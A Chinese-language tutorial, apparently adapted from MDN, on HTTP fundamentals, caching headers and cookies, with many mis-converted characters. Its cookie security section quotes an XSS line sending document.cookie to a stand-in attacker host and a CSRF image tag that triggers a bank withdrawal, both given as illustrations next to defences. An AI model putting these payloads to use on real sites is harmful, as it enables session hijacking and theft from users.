技術人員須要瞭解的HTTP（一）-概述、緩存、cookie

超文本傳輸​​協議（HTTP） 是用於傳輸如HTML的超媒體文檔的應用層協議

• 遵循經典的客戶端-服務端模型，客戶端打開一個鏈接以發出請求，而後等待它收到服務器端響應。
• 無狀態協議： 服務器不會在兩個請求之間保留任何數據（狀態）

PS：不會像UDP協議那樣靜默丟失消息的協議。RUDP做爲UDP的可靠的升級版本，是一種合適的替代選擇。

1、概述

HTTP是一種可以獲取如 HTML 這樣的網絡資源的 protocol(通信協議)。它是在 Web 上進行數據交換的基礎，是一種 client-server 協議，也就是說，請求一般是由像瀏覽器這樣的接受方發起的。

客戶端和服務端經過交換各自的消息（與數據流正好相反）進行交互。由像瀏覽器這樣的客戶端發出的消息叫作 requests，被服務端響應的消息叫作 responses。

在這個請求與響應之間，還有許許多多的被稱爲proxies的實體，他們的做用與表現各不相同，好比有些是網關，還有些是caches等。

客戶端： 做爲發起一個請求的實體，接收數據並展示

Web服務端：服務並提供客戶端所請求的文檔

它能夠是共享負載（負載均衡）的一組服務器組成的計算機集羣，也能夠是一種複雜的軟件，經過向其餘計算機（如緩存，數據庫服務器，電子商務服務器 ...）發起請求來獲取部分或所有資源。

Server 不必定是一臺機器，但一個機器上能夠裝載的衆多Servers。在HTTP/1.1 和Host頭部中，它們甚至能夠共享同一個IP地址。

代理（Proxies）

因爲Web棧層次結構的緣由，它們大多都出如今傳輸層、網絡層和物理層上，對於HTTP應用層而言就是透明的，雖然它們可能會對應用層性能有重要影響。還有一部分是表如今應用層上的，被稱爲代理（Proxies）。代理（Proxies）既能夠表現得透明，又能夠不透明（「改變請求」會經過它們）。代理主要有以下幾種做用：

• 緩存（能夠是公開的也能夠是私有的，像瀏覽器的緩存）
• 過濾（像反病毒掃描，家長控制...）
• 負載均衡（讓多個服務器服務不一樣的請求）
• 認證（對不一樣資源進行權限管理）
• 日誌記錄（容許存儲歷史信息）

基本性質

• 簡單
• 可擴展

  在 HTTP/1.0 中出現的 HTTP headers 讓協議擴展變得很是容易。只要服務端和客戶端就新 headers 達成語義一致，新功能就能夠被輕鬆加入進來。

• 無狀態，有會話

  把Cookies添加到頭部中，建立一個會話讓每次請求都能共享相同的上下文信息，達成相同的狀態。 注意，HTTP本質是無狀態的，使用Cookies能夠建立有狀態的會話。

• HTTP 和鏈接

  在互聯網中，有兩個最經常使用的傳輸層協議：TCP是可靠的，而UDP不是。所以，HTTP依賴於面向鏈接的TCP進行消息傳遞，但鏈接並非必須的。
  
  HTTP/1.0爲每個請求/響應都打開一個TCP鏈接，致使了2個缺點：打開一個TCP鏈接須要屢次往返消息傳遞，所以速度慢。但當多個消息週期性發送時，這樣就變得更加高效：暖鏈接比冷鏈接更高效。
  
  爲了減輕這些缺陷，HTTP/1.1引入了流水線（被證實難以實現）和持久鏈接的概念：底層的TCP鏈接能夠經過Connection頭部來被部分控制。HTTP/2則發展得更遠，經過在一個鏈接複用消息的方式來讓這個鏈接始終保持爲暖鏈接。
  
  同時，Google就研發了一種以UDP爲基礎，能提供更可靠更高效的傳輸協議QUIC。

HTTP能控制認證和緩存等

• 緩存

  可經過HTTP控制緩存。
  服務端能告訴代理和客戶端哪些文檔須要被緩存，緩存多久，而客戶端也可以命令中間的緩存代理來忽略存儲的文檔。

• 開放同源限制

  爲了防止網絡窺聽和其它隱私泄漏，瀏覽器強制對Web網站作了分割限制。只有來自於相同來源的網頁纔可以獲取網站的所有信息。這樣的限制有時反而成了負擔，HTTP能夠經過修改頭部來開放這樣的限制，所以Web文檔能夠是由不一樣域下的信息拼接成的

• 認證

  一些頁面可以被保護起來，僅讓特定的用戶進行訪問。基本的認證功能能夠直接經過HTTP提供，使用Authenticate類似的頭部便可，或用HTTP Cookies來設置指定的會話。

• 代理和隧道

  一般狀況下，服務器和/或客戶端是處於內網的，對外網隱藏真實 IP 地址。所以 HTTP 請求就要經過代理越過這個網絡屏障。但並不是全部的代理都是 HTTP 代理。例如，SOCKS協議的代理就運做在更底層，一些像 FTP 這樣的協議也可以被它們處理。

• 會話

  使用HTTP Cookies容許你用一個服務端的狀態發起請求，這就建立了會話。

  HTTP 報文

  有兩種HTTP報文的類型，請求與響應，每種都有其特定的格式。

  • 請求

    

    • 一個HTTP的method，常常是由一個動詞像GET, POST 或者一個名詞像OPTIONS，HEAD來定義客戶端的動做行爲。
    • 要獲取的資源的路徑，一般是上下文中就很明顯的元素資源的URL
    • HTTP協議版本號
    • 爲服務端表達其餘信息的可選頭部headers。
    • 報文的body就包含了發送的資源。(如POST)
  • 響應

    

    • HTTP協議版本號。
    • 狀態碼（status code）
    • 狀態信息，這個信息是非權威的狀態碼描述信息，能夠由服務端自行設定
    • HTTP headers
    • 可選項，比起請求報文，響應報文中更常見地包含獲取的資源body

  2、 緩存

  緩解服務器端壓力，提高性能(獲取資源的耗時更短了)。
  對於網站來講，緩存是達到高性能的重要組成部分。緩存須要合理配置，由於並非全部資源都是永久不變的：重要的是對一個資源的緩存應截止到其下一次發生改變（即不能緩存過時的資源）。
  
  緩存的種類有不少,其大體可歸爲兩類：私有與共享緩存。共享緩存存儲的響應可以被多個用戶使用。私有緩存只能用於單獨用戶。

  

  緩存操做的目標

  常見的 HTTP 緩存只能存儲 GET 響應，對於其餘類型的響應則無能爲力。緩存的關鍵主要包括request method和目標URI（通常只有GET請求才會被緩存）。 廣泛的緩存案例:

  • 一個檢索請求的成功響應: 對於 GET請求，響應狀態碼爲：200，則表示爲成功。
  • 永久重定向: 響應狀態碼：301。
  • 錯誤響應: 響應狀態碼：404 的一個頁面。
  • 不徹底的響應: 響應狀態碼 206，只返回局部的信息
  • 除了 GET 請求外，若是匹配到做爲一個已被定義的cache鍵名的響應。

緩存控制

• Cache-control 頭

  • 禁止進行緩存

    Cache-Control: no-store

  • 強制確認緩存

    Cache-Control: no-cache

  • 私有緩存和公共緩存

    "public" 指令表示該響應能夠被任何中間人（譯者注：好比中間代理、CDN等）緩存。

    而 "private" 則表示該響應是專用於某單個用戶的，中間人不能緩存此響應，該響應只能應用於瀏覽器私有緩存中。

    Cache-Control: private
    Cache-Control: public

  • 緩存過時機制

    過時機制中，最重要的指令是 "max-age="，表示資源可以被緩存（保持新鮮）的最大時間。相對Expires而言，max-age是距離請求發起的時間的秒數。針對應用中那些不會改變的文件，一般能夠手動設置必定的時長以保證緩存有效

    Cache-Control: max-age=31536000

  • 緩存驗證確認

    當使用了 "must-revalidate" 指令，那就意味着緩存在考慮使用一個陳舊的資源時，必須先驗證它的狀態，已過時的緩存將不被使用。

    Cache-Control: must-revalidate

• Pragma 頭 一般定義Pragma以向後兼容基於HTTP/1.0的客戶端。

ps: 因爲緩存只有有限的空間用於存儲資源副本，因此緩存會按期地將一些副本刪除，這個過程叫作緩存驅逐

下面是上述緩存處理過程的一個圖示：

緩存失效時間計算公式以下：

expirationTime = responseTime + freshnessLifetime - currentAge

3、 Cookie

Cookie主要用於如下三個方面：

• 會話狀態管理（如用戶登陸狀態、購物車、遊戲分數或其它須要記錄的信息）
• 個性化設置（如用戶自定義設置、主題等）
• 瀏覽器行爲跟蹤（如跟蹤分析用戶行爲等）

因爲服務器指定Cookie後，瀏覽器的每次請求都會攜帶Cookie數據，會帶來額外的性能開銷（尤爲是在移動環境下）。新的瀏覽器API已經容許開發者直接將數據存儲到本地，如使用 Web storage API （本地存儲和會話存儲）或 IndexedDB 。

安全

• 會話劫持和XSS

  經常使用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。

  (new Image()).src = "www.evil-domain.com/steal-cooki…" + document.cookie;

  HttpOnly類型的Cookie因爲阻止了JavaScript對其的訪問性而能在必定程度上緩解此類攻擊。

• 跨站請求僞造（CSRF）

  如: 在不安全聊天室或論壇上的一張圖片，它其實是一個給你銀行服務器發送提現的請求：

  <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

  當你打開含有了這張圖片的HTML頁面時，若是你以前已經登陸了你的銀行賬號而且Cookie仍然有效（尚未其它驗證步驟），你銀行裏的錢極可能會被自動轉走。
  有一些方法能夠阻止此類事件的發生：

  • 對用戶輸入進行過濾來阻止XSS；
  • 任何敏感操做都須要確認；
  • 用於敏感信息的Cookie只能擁有較短的生命週期；
  • 更多方法能夠查看OWASP CSRF prevention cheat sheet。

• 追蹤和隱私

  • 第三方Cookie

    若是Cookie的域和頁面的域不一樣，則稱之爲第三方Cookie（third-party cookie）.大多數瀏覽器默認都容許第三方Cookie，可是能夠經過附加組件來阻止第三方Cookie

  • 禁止追蹤Do-Not-Track

    雖然並無法律或者技術手段強制要求使用DNT，可是經過DNT能夠告訴Web程序不要對用戶行爲進行追蹤或者跨站追蹤

  • 歐盟Cookie指令

    該歐盟指令的大意：在徵得用戶的贊成以前，網站不容許經過計算機、手機或其餘設備存儲、檢索任何信息。

  • 殭屍Cookie和刪不掉的Cookie

    這類Cookie較難以刪除，甚至刪除以後會自動重建。它們通常是使用Web storage API、Flash本地共享對象或者其餘技術手段來達到的。

    
    
    

來源地址：developer.mozilla.org/zh-CN/docs/…